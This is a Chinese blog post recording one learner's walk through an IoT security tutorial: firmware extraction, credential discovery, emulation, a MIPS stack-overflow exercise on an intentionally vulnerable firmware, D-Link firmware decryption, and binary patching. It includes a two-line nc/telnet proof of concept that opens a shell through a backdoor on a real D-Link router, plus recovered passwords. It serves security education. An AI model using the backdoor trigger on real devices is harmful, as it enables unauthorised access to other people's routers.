iot安全学习之IoT_Sec_Tutorial

最近在网上看到了IoT_Sec_Tutorial这个项目项目地址,拿过来学习一下,分5个点

  • 提取iot固件
  • 静态分析iot固件
  • 动态分析iot固件
  • 解密dlink固件
  • 修复固件运行环境

iot入门可以看看《揭密家用路由器0day漏洞挖掘》这本书,笔者目前的iot安全学习阶段觉得难得并不是分析固件漏洞,而是对固件进行模拟和动态分析这一块,有些环境总是搭建失败(可能是菜吧XD)。笔者会将自己遇见的一些坑点写出来。在这里笔者可能会借用很多IoT_Sec_Tutorial这个项目的东西

IoT_Sec_Tutorial

提取 IOT 固件

首先在提取iot固件中需要的工具就是binwalk。在前面的路由器初探之D-LINK DIR-815多次溢出漏洞分析中笔者使用kali 2022.1提取非标准的Squashfs文件系统的时候会出现错误需要安装sasquatch。然后在网上搜索之后发现可能是kali的版本太新了导致安装报错,所以笔者直接在vm上装了一个ubuntu18,然后再安装sasquatch包括后面的固件模拟都需要安装很多环境,所以有点麻烦。笔者继续往下做这些实验的时候发现了一个osAttify。这个操作系统将iot的环境基本都装好了。所以笔者就下载了,并且安装使用,只能说一句真***好用。

因为是国外的网盘下载链接,所以可能下的有点慢,这里笔者将这个os放到了百度网盘里,链接: https://pan.baidu.com/s/1eVVDXKVpH9ox_ein9pkchA 提取码: gprv 。ova直接使用虚拟机打开就可以了,界面如下图

有了上面这个os,接下来就很方便操作了,对这个固件RT-N300_3.0.0.4_378_9317-g2f672ff.trx进行提取

可以加上-t -vv参数查看详细的提取过程。通过输出信息,可以得知该固件系统没有加密压缩,好了之后就可以看到squashfs-root这个文件夹了。得到的squashfs-root就是固件系统

静态分析iot固件

接下来拿的是一个zip方式的固件,我们需要对它进行解压,在解压的时候发现有压缩包密码

使用frackzip工具可以破解该zip的密码,时间太长了,所以直接看这个项目里告诉的密码。最后的密码是beUT9Z,有一个坑点unzip不能完整的解压需要使用7z

进入目录可以看到有很多的yaffs2文件和mbn文件。

YAFFS(Yet Another Flash File System)是由Aleph One公司所发展出来的NAND flash 嵌入式文件系统。

mbn:高通的一套用于加载网络环境的文件

核心的应该是2K-mdm-image-mdm9625.yaffs2。可以使用unyaffs来进行提取

unyaffs 2K-mdm-image-mdm9625.yaffs2 yaffs2-root/

出了这个错的话就是没有sudo了,但是对于静态分析来说影响不大,提取之后就可以看到文件系统了

接下来我们查找该路径下的所有.conf文件,.conf文件多是配置文件,有可能从中可以发现敏感的信息。

其中的inadyn-mt.conf文件引起了我们注意,这是no-ip应用的配置文件,no-ip就是一个相当于花生壳的东西,可以申请动态域名。我们从中可以发现泄露的no-ip的登陆账号及密码。同时在etc/shadow中发现了root的的密码

用john破解之后发现root的密码是1234。

为了发现更多价值的信息,我们可以使用firmwalker工具来自动化遍历该固件系统中的所有可疑文件

git clone https://github.com/craigz28/firmwalker.git

使用./firmwalker.sh ../IoT_Sec_Tutorial/02/DWR-932_B1_FW_v.02.02EU/yaffs2-root之后会自动生成firmwalker.txt并将结果存入。

分析完敏感的配置文件后,我们接下来分析存在风险的二进制程序。查看自启动的程序,在etc/init.d中一个start_appmgr脚本引起了我们注意,mgr一般就是主控程序的意思。

看一下这个程序吧,发现该脚本会在开机的时候以服务的形式运行/bin/appmgr程序。

我们接下来对这个程序进行逆向分析,理解这个程序到底会做些什么 。在“/bin/appmgr”中,有一个线程会持续监听0.0.0.0:39889(UDP),并等待传入控制命令。

当传入HELODBG的时候会给一个shell。所以poc可以这样构造

1
2
echo -ne "HELODBG" | nc -u 192.168.1.1 39889 
telnet 192.168.1.1

这里先放一放了,后面的话会专门写一个DWR-932_B1_FW_v.02.02EU漏洞分析

动态分析IoT固件

在这里我们采用的是DVRF这个固件,在这里我们先进行固件模拟,什么是固件模拟呢,其实就是让这个固件模拟一个真实的路由器有web服务器和telent这些功能。

前面说了attify,我们在attify里面进行固件模拟。将这个固件放到attiry中并运行下面的命令(后面的参数是固件的位置

注意:这里有两个固件,一个是DVRF_v03.bin还有一个是DWP2360b-firmware-v206-rc018.bin。模拟运行的是DWP2360b-firmware-v206-rc018.bin,因为DVRF_v03.bin笔者模拟运行一下发现network interfaces是空的,然后就用了这个项目给的DWP2360b-firmware-v206-rc018.bin来进行模拟。

下载地址:DWP2360b-firmware-v206-rc018.bin DVRF_v03.bin

运行这个命令就可以对dwp进行固件模拟./fat.py ~/IoT_Sec_Tutorial/o3/DWP2360b-firmware-v206-rc018.bin

红色框子里面就是路由器web端的入口。接下来按一下回车就可以模拟一个真实的路由器了。

这个时候就可以使用attify自带的firefox来访问一下这个地址,可以看到启动成功。DVRF这个固件是一个自制的充满漏洞的固件,供学习用的。接下来就是进行动态分析,在动态分析之前需要做的是binwalk -e 固件

跟进文件系统,pwnable这个文件夹存放着有漏洞的程序示例。

我们选取缓冲区漏洞程序stack_bof_01进行实验。首先使用file命令查看该程序的架构。

可以看到是MIPS32

保护方面的话基本什么都没开,想怎么溢出就怎么溢出,启动这个程序看一下是什么,需要将qemu-mipsel放到本目录下不然会出现一些找不到文件或目录这种错误

放到ghidra中看一下这个程序是什么样子的。

一个栈溢出,在第16行这里,当argv[1]超过austack206的空间时就会溢出。这个程序还给了一个后门,利用思路很简单,ret2text

我们需要先确定偏移是多少,这里采取动态调试。

接着我们需要输入数据,笔者用的是patternoffest.py至于为什么会用这个是因为笔者的gdb-multiarch里面的测试偏移的命令没反应

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
# coding:utf-8
'''
生成定位字符串:轮子直接使用
'''

import argparse
import struct
import binascii
import string
import sys
import re
import time
a ="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
b ="abcdefghijklmnopqrstuvwxyz"
c = "0123456789"
def generate(count,output):
# pattern create
codeStr =''
print '[*] Create pattern string contains %d characters'%count
timeStart = time.time()
for i in range(0,count):
codeStr += a[i/(26*10)] + b[(i%(26*10))/10] + c[i%(26*10)%10]
print 'ok!'
if output:
print '[+] output to %s'%output
fw = open(output,'w')
fw.write(codeStr)
fw.close()
print 'ok!'
else:
return codeStr
print "[+] take time: %.4f s"%(time.time()-timeStart)

def patternMatch(searchCode, length=1024):

# pattern search
offset = 0
pattern = None

timeStart = time.time()
is0xHex = re.match('^0x[0-9a-fA-F]{8}',searchCode)
isHex = re.match('^[0-9a-fA-F]{8}',searchCode)

if is0xHex:
#0x41613141
pattern = binascii.a2b_hex(searchCode[2:])
elif isHex:
pattern = binascii.a2b_hex(searchCode)
else:
print '[-] seach Pattern eg:0x41613141'
sys.exit(1)

source = generate(length,None)
offset = source.find(pattern)

if offset != -1: # MBS
print "[*] Exact match at offset %d" % offset
else:
print
"[*] No exact matches, looking for likely candidates..."
reverse = list(pattern)
reverse.reverse()
pattern = "".join(reverse)
offset = source.find(pattern)

if offset != -1:
print "[+] Possible match at offset %d (adjusted another-endian)" % offset

print "[+] take time: %.4f s" % (time.time() - timeStart)

def mian():
'''
parse argument
'''
parser = argparse.ArgumentParser()
parser.add_argument('-s', '--search', help='search for pattern')
parser.add_argument('-c', '--create', help='create a pattern',action='store_true')
parser.add_argument('-f','--file',help='output file name',default='patternShell.txt')
parser.add_argument('-l', '--length', help='length of pattern code',type=int, default=1024)
args = parser.parse_args()
'''
save all argument
'''
length= args.length
output = args.file
createCode = args.create
searchCode = args.search

if createCode and (0 <args.length <= 26*26*10):
generate(length,output)
elif searchCode and (0 <args.length <=26*26*10):
patternMatch(searchCode,length)
else:
print '[-] You shoud chices from [-c -s]'
print '[-] Pattern length must be less than 6760'
print 'more help: pattern.py -h'

if __name__ == "__main__":
if __name__ == '__main__':
mian()

使用这个创建200个垃圾数据

1
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9

然后重新带这200个垃圾数据重新动态调试

在pwndbg里面运行c让这个程序跑起来

发现了返回地址被覆盖了,再次使用patternoffest.py这个脚本测试出偏移

offest = 204,利用ret2text将返回地址覆盖成shell即可。

这里需要用0x5c的地址才能利用成功,原因看图

为了让shell正常运行所以我们肯定不能有gp从0x5c之里开始就可以顺利进行

成功利用

解密dlink固件

本次要研究的是路由器Dlink-882的固件

ftp://ftp2.dlink.com/PRODUCTS/DIR-882/REVA/,其中的zip文件就是各版本的固件。

然后笔者访问之后是这样的,直接打开了一个文件夹然后里面就是822的一些文件

FW100B07、FW101B02、FW104B02、FW110B02、FW111B01、FW120B06、FW130B10下载下来,然后解压并使用binwalk对其进行检测

检测发现100b07, 101b02, 104b02这些是没有加密的

FW110B02、FW111B01、FW120B06、FW130B10均是加密的

那么我们可以确定104B02是中间版本。固件版本迭代的过程经历了固件未加密到固件加密,说明中间肯定有个中间版本(类似下图),下图是固件从未加密到加密的升级原理图。

所以我们接下来需要从104b02这个版本中找到解密程序,先进行固件解包,笔者这次没有使用binwalk来解包,换了一个方式,使用了一个在线的网站iot在线解包

好了之后到达结果页面

在bin或者usr/bin中找到decrypt的相关程序,bin目录下就找到了

我们可以对这个加密程序进行一些逆向分析,分析出用的是什么加密算法。这里就不演示了,我们可以想个另一种方法,是不是可以使用这个程序直接对后面加密版本的固件进行解密呢?

nice,成功解密。

修复固件运行环境

之前我们学习了如何模拟运行IoT固件,但是,现实中并不是所有固件都能模拟运行成功,比如固件运行可能依赖于硬件,qemu无法完全模拟,所以,本节我们就来学习如何修复固件的运行环境,从而成功模拟固件运行。

我们本次使用的固件是D-Link的DIR-605L FW_113固件,附件可以去这个项目中下载

拿到固件后我们先放到fat里面看一下可不可以正常模拟

Interfaces那里为空,说明模拟运行失败了。不是所有固件都能用firmadyne模拟的,尤其是那些需要与硬件设备交互的固件

模拟固件运行的实质其实就是把固件的Web程序跑起来,而模拟失败则说明Web程序运行出错了,我们接下来就要针对看看Web程序报错的原因以及如何修复运行环境,我们提取固件的文件系统,提取出来的路径为squashfs-root-0

我们可以使用find ./ -name boa命令来定位该固件的Web程序。Boa程序是一个轻量级的web服务器程序,常见于嵌入式系统中。dlink就是在boa开源代码的基础上新增了很多功能接口以实现路由器上的不同功能。boa程序的路径为/bin/boa,同时我们发现在/etc/boa路径下还有个boa的密码配置文件,我们可以直接获取到boa加密后的密码。

我们模拟运行程序,会发现报错了,提示初始化MIB错误。

使用ghidra对boa程序进行逆向分析,我们快速的定位到错误的地方

跟进跟进

apmib_init这个函数是从flash中读取mib值到RAM中,模拟环境没有flash硬件,所以应该会读取失败。apmib_init读取数据失败返回0,赋值给$v0,然后bnez命令对$v0进行检测,若为0,则回显初始化失败,报错退出。

BENZ R1,NAME;//R1不等于0,程序跳转,以NAME为偏移地址
BEQZ R1,NAME;//R1=0,程序跳转到,以NAME为偏移地址

所以我们可以将bnez(0x14)命令改成beqz(0x10)

在想要patch的语句中按下ctrl + shift + G

保存程序具体的操作可以看https://materials.rangeforce.com/tutorial/2020/04/12/Patching-Binaries/

修补完成之后再次运行这个程序会发现这个程序还是有错误。。。。。创建东西错了,还有一个内存报错

没办法,继续跟进看一下

找到了报错的地点,open函数导致,但内存错误这里可以动态调试看哪个内存错了,先看函数由返回值引起的,所以看一下这个函数的引用

websaspinit中引用了它,而且刚刚的错误也是这个地方错了,所以我们跟进

前2个“Create chklist file error!”来自于create_chklist_file和create_devInfo_file函数,后面那个内存崩溃是apmib_get函数导致的。

动态调试一下看看。

在调试结束creat后,虽然报了创建错误的错但是还能往下运行,结果运行到apmib_get这里的时候就出错了

可以看到0x1001是个错误的地址。从第一个错误可以猜到websaspinit函数的功能是从RAM读取MIB值,所以有可能又是硬件依赖导致的错误。

我们可以将apmib_get里的跳转给nop掉,因为我们模拟固件,所以肯定没有硬件,这里对我们来说无用。

保存程序退出然后启动运行。ohhhhhhhhhhh

成功了,可以看到80端口已经跑起来了

访问一下。。。。。还有错的,继续看吧,看一下这个asp代码

vim web/Basic/Wizard_Easy_LangSelect.asp

通过文件名可以猜测功能是选择页面语言,而它尝试从硬件设备读取语言,显然又会出错了。

那我们就想办法不让它进入这个页面,查看入口网页,发现逻辑是先判断系统语言,成功则直接进入Webcome界面。那我们将失败和成功都进入welcome页面。

改完再次访问,ohhhhhhhhhhhh,成功。

总结

这几天一有空就在学习这个项目,总算是完成了(很开心),学习之后觉得这个项目对iot新手极其友好,真的是学到了很多东西,从提取iot固件到修复固件运行环境都讲得特清楚。iot安全之路还长继续加油。

Reference

https://github.com/G4rb3n/IoT_Sec_Tutorial

https://www.anquanke.com/post/id/245945#h2-14

https://materials.rangeforce.com/tutorial/2020/04/12/Patching-Binaries/